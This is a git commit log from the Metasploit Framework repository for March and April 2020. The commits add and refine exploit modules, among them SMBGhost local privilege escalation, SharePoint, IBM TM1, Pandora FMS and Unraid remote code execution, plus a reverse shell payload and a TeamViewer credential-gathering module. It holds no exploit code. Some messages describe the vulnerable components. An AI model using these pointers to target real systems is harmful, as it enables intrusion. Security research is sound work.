Brent Cook 0ef99b26f3 bump payloads 2020-04-10 08:28:20 -05:00
Brent Cook 576b575333 Merge branch 'master' into land-13154- 2020-04-10 08:23:51 -05:00
h00die 34588b68ec zeroSteiner comments 2020-04-09 21:10:43 -04:00
Alan Foster 2ddccaeb66 Add additional automated label actions 2020-04-09 19:39:39 +01:00
h00die 90730e61ec optimize private_type in router libs 2020-04-09 14:24:48 -04:00
Jeffrey Martin 4c3ecfb3a4 Land #13216, Add automated comments to no docs label with github app 2020-04-09 12:51:19 -05:00
Metasploit 25b7878422 Bump version of framework to 5.0.85 2020-04-09 12:05:29 -05:00
Pedro Ribeiro a0c472b039 add comments about reference table 2020-04-09 23:01:27 +07:00
Spencer McIntyre d36039bb9c Land #13220, fix the broken Ubiquiti spec 2020-04-09 09:43:17 -04:00
Pedro Ribeiro 600f4efe4a Fix advisory link 2020-04-09 19:05:49 +07:00
Pedro Ribeiro 4ae9c65ecf Optimise exploit 2020-04-09 18:15:27 +07:00
Alan Foster cbdd988a3c Fix broken ubiquiti spec 2020-04-09 11:51:49 +01:00
Metasploit 8772f3dc77 automatic module_metadata_base.json update 2020-04-08 17:01:35 -05:00
Spencer McIntyre d6d939b2ed Land #12594, add a Ubiquiti config importer mixin 2020-04-08 17:52:28 -04:00
Spencer McIntyre a950e73f6c Gemfile.lock updates 2020-04-08 17:39:06 -04:00
gwillcox-r7 47ba1fd177 Land #13179, which updates the unmarshal docs with @h00die's changes 2020-04-08 16:13:08 -05:00
Alan Foster 1676e635f2 Add label-actions github app configuration 2020-04-08 19:52:07 +01:00
h00die 77da4d707a files get deleted 2020-04-08 14:46:43 -04:00
Alan Foster 4ef90b14f9 Remove Github Actions configuration 2020-04-08 19:34:44 +01:00
h00die 041ca23d14 limesurvey dir traversals 2020-04-08 14:31:17 -04:00
Pedro Ribeiro a90d745fa4 Fix typo and make it Aggressive 2020-04-08 20:05:19 +07:00
Radek Domanski d6755b7221 Remove SSL option
Busybox wget on the target doesn't support https connections.
2020-04-08 14:49:49 +02:00
Brent Cook 01a2e1c6ff Land #13212, several meterpreter fixes 2020-04-08 06:01:10 -05:00
Brent Cook d4f11b45cf grab bag of meterpreter bug fixes 2020-04-08 05:36:26 -05:00
Pedro Ribeiro 33e1c8ffdb Fix issues 2020-04-08 12:26:37 +07:00
Metasploit 9d824ca486 automatic module_metadata_base.json update 2020-04-07 17:03:04 -05:00
wvu-r7 30a937604b Land #13211, gwillcox-r7 in .mailmap 2020-04-07 16:54:18 -05:00
gwillcox-r7 a143cd26c6 Add my own GitHub handle and work email to .mailmap 2020-04-07 16:22:45 -05:00
Radek Domanski 5f8d1ef4fd Adding documentation for tplink_archer_a7_c7_lan 2020-04-07 19:58:22 +02:00
Radek Domanski e2e69a5053 Adding exploit for tplink_archer_a7_c7_lan 2020-04-07 19:57:34 +02:00
Shelby Pace 7934d1de09 Land #13098, add Pandora FMS module 2020-04-06 11:42:24 -05:00
Shelby Pace a3c07b7cc1 use nospace opt, fix regex, iterate id_agente 2020-04-06 11:34:13 -05:00
tperry-r7 62dd03c348 Land #13188 new msftidy_docs
Land #13188 new msftidy_docs. Change Options from bold to h3 instead.
2020-04-06 10:08:06 -05:00
dwelch-r7 f9410054ea Add validation for rpc module selection 2020-04-06 13:51:24 +01:00
h00die f85e9f79c5 add url 2020-04-03 22:18:38 -04:00
h00die f339e2e476 doc tidy 2020-04-03 22:02:28 -04:00
h00die 6d8fc1dad6 unquoted service path updates 2020-04-03 22:00:15 -04:00
Metasploit 574f6af503 automatic module_metadata_base.json update 2020-04-03 11:39:48 -05:00
bwatters-r7 9474b5fda1 Land #13187, Add LPE Exploit For CVE-2020-0796 (AKA: SMBGhost) (take2)
Merge branch 'land-13187' into upstream-master
2020-04-03 11:25:48 -05:00
bwatters-r7 182bd67287 Land #13187, Add LPE Exploit For CVE-2020-0796 (AKA: SMBGhost)
Merge branch 'land-13187' into upstream-master
2020-04-03 11:19:50 -05:00
Spencer McIntyre 94f18cc67a Add the AKA reference to CoronaBlue for accuracy 2020-04-03 11:01:43 -04:00
Metasploit 79d3ecc90e automatic module_metadata_base.json update 2020-04-03 09:31:14 -05:00
Spencer McIntyre bea42876ee Land #13067, PlaySMS template injection RCE 2020-04-03 10:22:35 -04:00
Spencer McIntyre bd835e8f2d Cleanup more status methods and move the module 2020-04-03 10:21:27 -04:00
Metasploit 2e48fe7e64 automatic module_metadata_base.json update 2020-04-03 09:20:21 -05:00
Brent Cook 8451c1345b Land #10579, add sharphound post module, upstream updating tool 2020-04-03 09:10:40 -05:00
Spencer McIntyre 126b9e2172 Address PR comments for CVE-2020-0796 2020-04-03 08:56:53 -04:00
cn-kali-team ff6a4d7f44 Delete files 2020-04-03 10:36:13 +08:00
cn-kali-team 1e7060f06d Add my code to this file 2020-04-03 10:35:30 +08:00
cn-kali-team 6dd499a622 Add document 2020-04-03 10:34:51 +08:00
Brent Cook f848f735a6 update sharphound to latest 2020-04-02 21:32:39 -05:00
Brent Cook b18a2fd463 Support inline transforms on tools, make some code snazzier 2020-04-02 21:32:10 -05:00
Brent Cook f2d3cdca4b make check_external_scripts executable 2020-04-02 21:11:09 -05:00
h00die f3ebd26e73 add rhosts 2020-04-02 19:19:10 -04:00
h00die f9ecbc2179 new tidy_docs checks 2020-04-02 19:10:39 -04:00
William Vu b343ac6452 Don't delay the session and update module doc 2020-04-02 17:34:20 -05:00
William Vu 79142cf445 Move module to unix/webapp 2020-04-02 17:22:34 -05:00
William Vu f9c8f62491 Fix PHP payload so we can get a session
It's ENCODER, not ENCODE, so the payload wasn't being encoded, leaving
semicolons unencoded and causing a 500 error on the server.

Also preferred payload.encoded over payload.encode and removed a stray
brace that wasn't causing any issues.
2020-04-02 17:16:19 -05:00
Spencer McIntyre 0316ed7a18 Add module docs for CVE-2020-0796 2020-04-02 17:48:07 -04:00
Spencer McIntyre 276475c308 Check compression in the check method for SMBGhost 2020-04-02 17:35:17 -04:00
Spencer McIntyre 3392fa18d4 Add the x64 LPE exploit for CVE-2020-0796 2020-04-02 17:22:00 -04:00
bwatters-r7 aaa0514b45 Land #13186, Bump payloads to 1.3.87
Merge branch 'land-13186' into upstream-master
2020-04-02 15:34:17 -05:00
William Vu 97c8df43d2 Land #13184, module doc fix for vmware_fusion_lpe 2020-04-02 12:18:45 -05:00
William Vu 8012e99c1f Correct version in vmware_fusion_lpe module doc 2020-04-02 12:17:28 -05:00
Metasploit 87245b9f7a Bump version of framework to 5.0.84 2020-04-02 12:05:33 -05:00
Metasploit 6144b415c6 automatic module_metadata_base.json update 2020-04-02 12:02:48 -05:00
William Vu a375c18d77 Land #13123, VMware Fusion OS X LPE CVE-2020-3950 2020-04-02 11:53:43 -05:00
bwatters-r7 aba7a144b6 Bump payloads to 1.3.87 2020-04-02 11:36:27 -05:00
Metasploit 54e5983451 automatic module_metadata_base.json update 2020-04-02 11:31:27 -05:00
William Vu 5aab28a1a6 Fix command separator conflict 2020-04-02 11:30:59 -05:00
bwatters-r7 859eda92bb Land #12759, Apache Solr Remote Code Execution via Velocity Template
Merge branch 'land-12759' into upstream-master
2020-04-02 11:23:33 -05:00
William Vu 8a5049719c Add 10.1.6 scenario to module doc 2020-04-02 11:15:04 -05:00
William Vu c6a75222fb Clean up whitespace in module doc 2020-04-02 11:11:38 -05:00
William Vu 7ed37c2e77 Fix module and get it working on 10.1.6 2020-04-02 11:06:21 -05:00
Spencer McIntyre 3e166f2d3f Grammatical changes for docs and status updates 2020-04-02 10:26:50 -05:00
Metasploit 41d71124c3 automatic module_metadata_base.json update 2020-04-02 10:06:54 -05:00
Adam Galway e8d134fc56 Land #12096, DNN cookie desrialization exploit 2020-04-02 15:57:46 +01:00
Alan Foster 791b51228f Land #13155, add utility methods for memory/cpu profiling 2020-04-02 12:21:42 +01:00
Adam Galway 92aec23b62 Move Memory Profiling message to before stop call 2020-04-02 12:18:36 +01:00
Adam Galway f4d8a4dffb PR Changes 2020-04-02 11:39:07 +01:00
h00die 1b0665aee4 Land #13164, docs for http_hsts aux modulewq 2020-04-01 20:54:15 -04:00
h00die 02e909c6b2 markdown formatting 2020-04-01 20:53:30 -04:00
tekwizz123 6512ed71b2 Add documentation for http_hsts.md 2020-04-01 18:20:01 -05:00
Tim W 90d4351f0d Land #13148, reduce startup time by caching the android signing key 2020-04-01 14:18:08 +08:00
Metasploit 9704448379 automatic module_metadata_base.json update 2020-03-31 16:06:25 -05:00
William Vu 23bc62dac3 Land #12818, Cable Haunt WebSocket DoS module 2020-03-31 15:57:03 -05:00
William Vu c147541777 Fix auxiliary/gather/chrome_debugger and doc 2020-03-31 12:23:19 -05:00
William Vu 8811c51644 Clean up module and update module doc 2020-03-31 12:23:19 -05:00
Metasploit 79033f5751 automatic module_metadata_base.json update 2020-03-31 11:53:48 -05:00
Adam Galway bc12db45cd Land #13172, bumps metasploit_payloads-mettle gem 2020-03-31 17:44:02 +01:00
h00die 362ea8c05b fix unmarshal docs 2020-03-31 09:06:05 -04:00
Adam Galway 556af54850 Land #13176, issue_finder ignores bad python files 2020-03-31 13:19:41 +01:00
Pedro Ribeiro da22e35ebb Merge pull request #14 from rapid7/master
vvv
2020-03-31 11:30:44 +07:00
h00die 2c11ea84e7 remove bad python files from issue_finder 2020-03-30 22:48:10 -04:00
h00die 954f123e7e remove extra lines 2020-03-30 22:25:16 -04:00
h00die 1b658aa85f 11.5.3 cleanup and reliability 2020-03-30 22:22:01 -04:00
Touhid M Shaikh b87ed645d9 Updated to use php payload
Now, this module will work on the Windows platform also because it's not dependent on the OS now.
2020-03-31 01:16:20 +05:30
Adam Galway 405e7b108b Land #13132, removes EOL spaces 2020-03-30 17:49:18 +01:00
Metasploit 5f230de3e7 automatic module_metadata_base.json update 2020-03-30 10:59:19 -05:00
William Vu 1e90c6117c Land #13152, IBM PA/TM1 CVE-2019-4716 exploit 2020-03-30 10:50:50 -05:00
William Vu 8209a4e6af Clean up module doc 2020-03-30 10:50:43 -05:00
Silas Cutler d9a8ee298f Update modules/exploits/unix/http/zivif_ipcheck_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-30 11:36:13 -04:00
Silas Cutler 01855dc367 Update modules/exploits/unix/http/zivif_ipcheck_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-30 11:36:07 -04:00
Silas Cutler 3c329631e6 Update modules/exploits/unix/http/zivif_ipcheck_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-30 11:35:59 -04:00
Silas Cutler a7f721d18e Update modules/exploits/unix/http/zivif_ipcheck_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-30 11:35:52 -04:00
Silas Cutler d354cce6e7 Update modules/exploits/unix/http/zivif_ipcheck_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-30 11:35:46 -04:00
Silas Cutler 0505191b6f Update modules/exploits/unix/http/zivif_ipcheck_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-30 11:35:40 -04:00
Adam Galway fb06bc09f5 remove new_key option and lazy loads static key 2020-03-30 16:09:30 +01:00
Adam Galway fc85733ec0 adds class variable key for signing jars 2020-03-30 15:28:39 +01:00
Alan Foster 60114d3542 Land #13093, add alias of ftp_connect to connect within Exploit::Remote::Ftp 2020-03-30 13:09:20 +01:00
Alan Foster 28356952cd Land #13105, make pattern_* and makeiplist tools faster 2020-03-30 12:58:24 +01:00
Adam Galway fa5af87f68 cpu & memory profilers now work with code blocks 2020-03-30 11:02:36 +01:00
Tim W def95c41ce update payload cached sizes 2020-03-30 16:12:42 +08:00
Tim W ed89657706 bump mettle to 0.5.21 2020-03-30 15:07:44 +08:00
Pedro Ribeiro d904eed010 add badchars for various targets 2020-03-30 12:49:58 +07:00
silascutler b86ac7f862 Added exploit for CVE-2017-17106 2020-03-29 22:23:28 +00:00
Metasploit 4bcad2b3cf automatic module_metadata_base.json update 2020-03-28 20:12:02 -05:00
William Vu 49a2ec9cca Land #13085, Redis module rename 2020-03-28 20:03:14 -05:00
h00die 7c74ff4b49 Land #13159, docs for apache_mod_cgi_bash_env 2020-03-28 16:59:01 -04:00
h00die 97ebe82e6c apache_mod_cgi_bash_env cleanup 2020-03-28 16:46:55 -04:00
ide0x90 861b79bce7 Added new targets and made documentation consistent 2020-03-29 00:33:24 +08:00
h00die 0291adf4c7 add 11.5.3 exploit 2020-03-28 11:55:55 -04:00
cn-kali-team 524b80317d Merge remote-tracking branch 'upstream/master' into teamviewer_id_pwd 2020-03-28 16:05:23 +08:00
Pedro Ribeiro 59c2079aa4 split AIX and Linux cmd targets 2020-03-28 14:35:24 +07:00
Pedro Ribeiro 46286f8981 change to payload.encoded 2020-03-28 14:30:20 +07:00
Pedro Ribeiro 2ac177cb39 make changes for ARCH_CMD, add multiple targets 2020-03-28 14:22:21 +07:00
Pedro Ribeiro 6a6b99885d Add ARCH_CMD, tested and working 2020-03-28 13:55:09 +07:00
Pedro Ribeiro 5ac0145bb4 Update modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-28 11:04:31 +07:00
Green-m 92fb321f9f Satify the msftidy_docs. 2020-03-28 11:46:55 +08:00
Green-m 4b1762081f Renane module to redis_extension_cmd_exec.
Fix #12143
2020-03-28 11:37:18 +08:00
tjohnson 3588c3915b Add apache_mod_cgi_bash_env.md 2020-03-27 23:09:43 -04:00
h00die a4e11fd311 spaces EOL SMH 2020-03-27 18:01:44 -04:00
h00die e9e142b573 shoutout 2020-03-27 18:01:43 -04:00
h00die 7bc30ecf39 add version check 2020-03-27 18:01:43 -04:00
h00die eda3653a51 tidy 2020-03-27 18:01:43 -04:00
h00die 4f6e2fe84e vmware fusion osx lpe 2020-03-27 18:01:43 -04:00
Metasploit bf8a1fc706 automatic module_metadata_base.json update 2020-03-27 14:43:54 -05:00
William Vu 8010da8c04 Land #13141, cmd/unix/reverse_tclsh payload 2020-03-27 14:34:40 -05:00
Jonathan Hodgson 26fb208852 Removes extra lines in some descriptions 2020-03-27 18:56:17 +00:00
Metasploit 816a021368 automatic module_metadata_base.json update 2020-03-27 12:47:41 -05:00
Shelby Pace 5f0c9942d2 Land #12756, add dlink dwl2600 exploit 2020-03-27 12:38:35 -05:00
Shelby Pace 8aa4d7a944 remove mixins, add CVE 2020-03-27 12:37:40 -05:00
Jonathan Hodgson 5d158dba15 Will try to find cache file in ./db/modules_metadata_base.json 2020-03-27 17:34:54 +00:00
Nicholas Starke 360e3ef039 Fixing DLINK DWL-2600 Scenarios 2020-03-27 11:57:39 -05:00
Jonathan Hodgson 10c66b44f4 Shows a message if no cache file found and suggests running msfconsole 2020-03-27 15:42:22 +00:00
Jonathan Hodgson 4a906691da Uses the built in metasploit cache for payload completion
This makes the code much simpler. Assumes that the cache file is in
~/.msf4/store/modules_metadata.json or
/opt/metasploit/db/modules_metadata_base/json

If neither of these exist, it will fail
2020-03-27 15:35:42 +00:00
cn-kali-team e4b0c070a1 Get the control ID and password of TeamViewer 2020-03-27 23:11:06 +08:00
cn-kali-team 50cd69471c Specify the window class name to display. 2020-03-27 23:07:01 +08:00
cn-kali-team fb66097212 Add window class name to window enumeration 2020-03-27 23:05:41 +08:00
cn-kali-team 126d2b3da3 Add window class name to window enumeration 2020-03-27 23:05:29 +08:00
Pedro Ribeiro c4f05fb566 Update modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:29:34 +07:00
Pedro Ribeiro a197b5a891 make changes as requested 2020-03-27 16:20:49 +07:00
Pedro Ribeiro 8139d0a1f1 change if to positive 2020-03-27 16:18:43 +07:00
Pedro Ribeiro 79abacd186 Fix null response 2020-03-27 16:17:01 +07:00
Pedro Ribeiro 7400720130 Update modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:15:56 +07:00
Pedro Ribeiro 75a0a2ae8a change module name 2020-03-27 16:15:43 +07:00
Pedro Ribeiro bdfe3b3be1 Update documentation/modules/exploit/multi/misc/ibm_tm1_unauth_rce.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:14:56 +07:00
Pedro Ribeiro 3429e86f40 Update modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:14:44 +07:00
Pedro Ribeiro f69d9e0b0d Update modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:14:33 +07:00
Pedro Ribeiro f81099709d Update modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:14:22 +07:00
Pedro Ribeiro 9b61a02d04 Update documentation/modules/exploit/multi/misc/ibm_tm1_unauth_rce.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:13:59 +07:00
Pedro Ribeiro ef86d9f74c Update documentation/modules/exploit/multi/misc/ibm_tm1_unauth_rce.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-27 16:13:51 +07:00
Pedro Ribeiro cb5fbdf0c0 explain a bit better 2020-03-27 15:23:46 +07:00
Pedro Ribeiro b9d2b73e3a Update ibm_tm1_unauth_rce.md 2020-03-27 15:23:04 +07:00
Pedro Ribeiro d566fdefae add link to advisory 2020-03-27 14:52:28 +07:00
Pedro Ribeiro db9c718459 add link to advisory 2020-03-27 14:52:00 +07:00
Pedro Ribeiro ebf19051a4 add docs 2020-03-27 14:41:38 +07:00
Pedro Ribeiro 38df0e3a58 Add exploit for IBM TM1 2020-03-27 14:40:56 +07:00
Pedro Ribeiro 95cb694d2f Merge pull request #13 from rapid7/master
aaa
2020-03-27 14:39:15 +07:00
Nicholas Starke bb21c8f6d8 Finishing Touches on DLINK DWL 2600 Module
These last finishing touches complete the DLINK DWL 2600 Module.  The
fixes include making renaming token to @token and adding the noconcat
CmdStager option.
2020-03-26 20:13:55 -05:00
Shelby Pace dc9e215318 remove unused code / add option 2020-03-26 16:05:56 -05:00
Shelby Pace f191eb00c9 add command stager 2020-03-26 16:05:56 -05:00
Metasploit 3fbcfa4100 Bump version of framework to 5.0.83 2020-03-26 12:03:02 -05:00
Metasploit 4c06146900 automatic module_metadata_base.json update 2020-03-26 07:31:06 -05:00
Adam Galway ce69665377 only calls module_set.create when key is present 2020-03-26 12:29:23 +00:00
Alan Foster 077d7af6a9 Land #13143, fix broken redis_unauth_exec check in msfconsole 2020-03-26 12:21:26 +00:00
Alan Foster 2b6815401f Land #13144, update to faraday 1.0.0 2020-03-26 12:12:36 +00:00
Adam Galway db2e7bb9d7 set faraday to latest version 2020-03-26 10:36:13 +00:00
bcoles 4f026bbf84 Adjust CachedSize 2020-03-26 20:27:01 +11:00
Brendan Coles 89e257c722 Add spec 2020-03-26 06:55:05 +00:00
Metasploit be21ef692d automatic module_metadata_base.json update 2020-03-25 16:25:50 -05:00
Jeffrey Martin 6d5688f120 Land #13146, Update octokit to latest rubygem available. 2020-03-25 16:16:04 -05:00
Pearce Barry 7827d694fe Update octokit to latest rubygem available.
4.17.0 went away, see https://github.com/octokit/octokit.rb/issues/1219
2020-03-25 16:02:23 -05:00
Brent Cook 346b593a18 Land #13130, Transport and pivot fixes for meterpreter 2020-03-25 15:10:47 -05:00
Metasploit 5dfdf66a0e automatic module_metadata_base.json update 2020-03-25 11:34:46 -05:00
bwatters-r7 beb53254c7 Land #13122, Add Exploit Module For CVE-2020-0646 (SharePoint Workflows XOML RCE)
Merge branch 'land-13122' into upstream-master
2020-03-25 11:24:15 -05:00
Adam Galway 2da9d54b7b updates faraday gem to version with disabled warn 2020-03-25 15:54:37 +00:00
Adam Cammack 5ce4929834 Fix has_check? conflict in redis_unauth_exec
Importing `Msf::Auxiliary::Scanner` at all will override the default
`has_check?` check and add a its own `check` method. This redefines
`has_check?` to allow usage of the Redis mixin while using an
exploit-style `check` method.

Fixes #13095
2020-03-25 10:07:08 -05:00
Brendan Coles 2bf1f3e9e1 Add cmd/unix/reverse_tclsh 2020-03-25 14:26:09 +00:00
Metasploit ab4e3f9481 automatic module_metadata_base.json update 2020-03-25 09:18:03 -05:00
bwatters-r7 d5107a1f79 Land #13030, New Windows post module: install_python
Merge branch 'land-13030' into upstream-master
2020-03-25 09:08:04 -05:00
bwatters-r7 2dcf2b0717 Add line about meterpreter python extension 2020-03-25 09:04:28 -05:00
Jonathan Hodgson 4cfb58a216 Makes completion script populate the cache
The cache is now populated by the script on the first run. This means
that the user doesn't have to manually create the cache.

Additionally, the cache is also updated if the file was modified more
than a week ago

Lastly, it will now store the cache file in XDG_CACHE_HOME if set,
falling back to ~/.cache which is the default.
2020-03-25 13:54:10 +00:00
bwatters-r7 37caf96ae9 Add TLS to web request in download script 2020-03-25 07:30:05 -05:00
Jonathan Hodgson cca3cddb30 Adds payload completion and fixes format completion
Payload completion.

On first run it will ask the user to create and populate a cache file
that will be used in the future for completions

Format completion

There was a mis-type of the name of one of the functions
2020-03-25 08:56:34 +00:00
Metasploit db6f243305 automatic module_metadata_base.json update 2020-03-24 17:10:22 -05:00
bwatters-r7 17d78ecb4b Land #13059, Limit Option Sizes When Appropriate
Merge branch 'land-13059' into upstream-master
2020-03-24 17:01:21 -05:00
Spencer McIntyre 54edd201e4 Cleanup cmdstager options 2020-03-24 17:14:47 -04:00
Auxilus c000ced363 update nasm_shell.rb 2020-03-25 02:21:08 +05:30
Auxilus e517948f11 Merge branch 'master' of https://github.com/rapid7/metasploit-framework into patch-5 2020-03-25 02:15:56 +05:30
Spencer McIntyre a69f3eb946 Use the correct its instead of it's 2020-03-24 16:44:18 -04:00
Spencer McIntyre ae5c62c279 Land #12988, add missing commit 2020-03-24 16:19:51 -04:00
Metasploit 7b34f07422 automatic module_metadata_base.json update 2020-03-24 15:15:55 -05:00
Spencer McIntyre b3b6450958 Land #12988, use the API for users and groups
This adds and uses the functionality to leverage the Windows API for
managing users and groups via meterpreter sessions. This replaces
relevant functionality in a few modules which previously relied on shell
commands.Merge branch 'pr/12988' into upstream-master
2020-03-24 16:06:52 -04:00
Spencer McIntyre d92d1448ef Minor whitespace and verbage cleanups 2020-03-24 16:03:40 -04:00
Metasploit dbeb6ad32b automatic module_metadata_base.json update 2020-03-24 12:38:06 -05:00
tperry-r7 d32640d179 Land #13133 clean up module documentation
Land #13133 clean up module documentation
2020-03-24 12:29:27 -05:00
Adam Cammack 9aafb3b306 Fix copy-pasta 2020-03-24 09:56:30 -05:00
Spencer McIntyre a0cd00dac7 Cleanup module doc and comments for CVE-2020-0646 2020-03-24 10:15:58 -04:00
h00die f5c4f593f5 check for more default instructional text 2020-03-24 09:51:21 -04:00
h00die fd8420cef7 fix install lines 2020-03-24 09:36:17 -04:00
Spencer McIntyre bf9cb3581a Land #13124, enhance tip for info -d 2020-03-24 09:32:46 -04:00
h00die e7da6e77a5 remove and check for instruction text 2020-03-24 09:15:04 -04:00
h00die 0b4c047411 doc cleanup 2020-03-24 08:47:21 -04:00
Auxilus 260099b506 remove spaces at EOL 2020-03-24 18:15:31 +05:30
Auxilus 26b2ec3d84 remove spaces at EOL 2020-03-24 18:08:34 +05:30
Auxilus 892cab094a remove spaces at EOL 2020-03-24 18:07:18 +05:30
Brent Cook bd59321cb1 Land #13131, bump Vagrant devenv to Ubuntu 18.04 2020-03-24 06:42:19 -05:00
Brent Cook 414035e1e4 bump Metasploit Vagrant devenv to the latest LTS version 2020-03-24 06:12:23 -05:00
h00die ee2f792f58 Land #13118, fixes for the linux priv esc example 2020-03-24 07:07:09 -04:00
Brent Cook 4c93933b6e HTTP pivot fixes for Meterpreter 2020-03-24 05:40:02 -05:00
h00die 4fe8f2ce49 enhance info tip 2020-03-23 20:09:24 -04:00
Spencer McIntyre 0832604131 Finish up the CVE-2020-0646 SharePoint RCE 2020-03-23 18:14:28 -04:00
Onur ER 9954fae7ff Update pandora_ping_cmd_exec.rb 2020-03-23 21:44:33 +03:00
Alan Foster bf07b1c897 Landing #13039, add color to search text matches and module ranks 2020-03-23 18:26:17 +00:00
Alan Foster d506bdc641 Use latest rex-text version 2020-03-23 18:22:35 +00:00
Adam Galway 04903daa4c highlights search text & color codes module ranks 2020-03-23 17:42:17 +00:00
Srikanth Suresh 005601f76e Changing from Remote to Local
Using https://github.com/rapid7/metasploit-framework/issues/13116 as the reference
2020-03-23 20:40:25 +03:00
Onur ER b1fb946533 Update modules/exploits/linux/http/pandora_ping_cmd_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-23 17:29:23 +03:00
Onur ER 8ba7b05eb7 Update modules/exploits/linux/http/pandora_ping_cmd_exec.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-23 17:27:00 +03:00
Onur ER 1e03726672 Update documentation/modules/exploit/linux/http/pandora_ping_cmd_exec.md
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-23 17:24:28 +03:00
Nicolas Chatelain 98fdcedf40 Apply suggestions from space-r7 code review
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-03-23 14:08:12 +01:00
Metasploit e5c8f15851 automatic module_metadata_base.json update 2020-03-23 07:42:56 -05:00
Shelby Pace fd8ceb0db2 Land #13082, add Horde Groupware Webmail RCE 2020-03-23 07:32:53 -05:00
Shelby Pace 475c24361d randomize file name 2020-03-23 07:28:04 -05:00
cn-kali-team 219f5bd2d8 Change "x86" to constant 2020-03-23 19:15:08 +08:00
Alan Foster 30d1259190 Land #13089, add automated comments to needs-docs label 2020-03-23 09:51:14 +00:00
Nicolas Chatelain 88ea6b527a Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-03-23 09:48:00 +01:00
bluesentinel 597c97da45 Refactored and added support for specifying Python versions 2020-03-22 14:10:06 -04:00
Nicolas Chatelain 4e81b7b969 Fix indent 2020-03-21 16:12:23 +01:00
h00die 288726c177 zeroSteiner comments 2020-03-21 11:00:25 -04:00
Auxilus b090bb53cf make makeiplist and nasm_shell tools faster 2020-03-21 19:07:21 +05:30
Nicolas Chatelain 58780c6db9 Update Unraid 6.8.0 exploit module
- Changed exploit name
- Set Privileged to true
- Better error handling
- Typo fixes
2020-03-21 11:44:35 +01:00
Shelby Pace c6eebe4ca3 replace equality with include? 2020-03-20 21:19:29 -05:00
Spencer McIntyre 6c24ed4c96 Initial SharePoint WorkFlows XOML RCE module 2020-03-20 17:57:54 -04:00
cn-kali-team 3fd1a2cee1 remove default completely 2020-03-21 03:00:01 +08:00
Auxilus ccfb1b92b6 make tools/exploit/pattern_* faster 2020-03-21 00:12:15 +05:30
cn-kali-team 10d5eda489 Check domain first on domain_mode 2020-03-21 01:34:03 +08:00
Nicolas Chatelain 4975b8d894 Add unraid exploit documentation 2020-03-20 15:33:20 +01:00
Pedro Ribeiro 81298aaca6 Merge pull request #12 from rapid7/master
aaa
2020-03-20 21:27:09 +07:00
Nicolas Chatelain 401e000892 Add Unraid auth bypass to RCE exploit
Unraid is an operating system for personal and small business use that
brings enterprise-class features letting you configure your computer
systems to maximize performance and capacity using any combination of
applications, VMs, storage devices, and hardware.
This module exploits an authentication bypass vulnerability that leads
to remote code execution as root.
2020-03-20 15:13:54 +01:00
cn-kali-team 5b9e7f5777 Modify document 2020-03-20 21:12:06 +08:00
cn-kali-team 8d1ae46012 Increase buffer length 2020-03-20 14:22:58 +08:00
cn-kali-team f9af8ed184 get_domain with api 2020-03-20 14:15:39 +08:00
cn-kali-team a2f7551aa7 get_domain with api 2020-03-20 14:15:18 +08:00
cn-kali-team 9bff7de41b Fix moving the keyword argument to the end 2020-03-20 14:12:01 +08:00
cn-kali-team 62e60fbc81 Fix checking if the group already exists. 2020-03-20 12:08:24 +08:00
cn-kali-team 0493eb2e0e Fix return an empty array and moving the keyword argument to the end 2020-03-20 11:55:51 +08:00
Onur ER 9188b4b9c6 Added Pandora 7.0NG Module Documentation 2020-03-19 22:51:59 +03:00
Onur ER 5ccda4b567 Added Pandora FMS 7.0NG exploit
Pandora FMS (for Pandora Flexible Monitoring System) is software for
monitoring computer networks. Pandora FMS allows monitoring in a visual
way the status and performance of several parameters from different
operating systems, servers, applications and hardware systems such
as firewalls, proxies, databases, web servers or routers.

This module exploits a vulnerability found in Pandora FMS 7.0 NG and lower.
The vulnerability exists on the `net_tools.php` component, due to the insecure
usage of the `system()` PHP function.
2020-03-19 22:50:00 +03:00
Metasploit f6e81bac29 automatic module_metadata_base.json update 2020-03-19 12:26:50 -05:00
Spencer McIntyre 5b2f744cd8 Land #13070, fix Cisco DCNM directory search regex 2020-03-19 13:17:27 -04:00
Metasploit fd35ee3860 Bump version of framework to 5.0.82 2020-03-19 12:03:16 -05:00
Metasploit ca239309e4 automatic module_metadata_base.json update 2020-03-19 11:50:53 -05:00
Adam Galway f165527e88 Land #12851, DOS attack on Tautulli <=2.1.9 2020-03-19 16:42:07 +00:00
adamgalway-r7 3f9b94c55c update docs 2020-03-19 16:36:50 +00:00
Andrea Cardaci 40d6dd14c4 Remove the check method 2020-03-18 20:29:49 +01:00
Mehmet İnce 6d55ca4040 Adding alias of ftp_connect
Signed-off-by: Mehmet İnce <mehmet@mehmetince.net>
2020-03-18 17:26:28 +03:00
Alan Foster 507864e5e4 Use explicit sha for community plugin 2020-03-18 11:48:41 +00:00
Andrea Cardaci 19e9848592 Remove trailing spaces 2020-03-17 19:06:57 +01:00
Andrea Cardaci bbb152a6d8 Update modules/exploits/multi/http/horde_csv_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
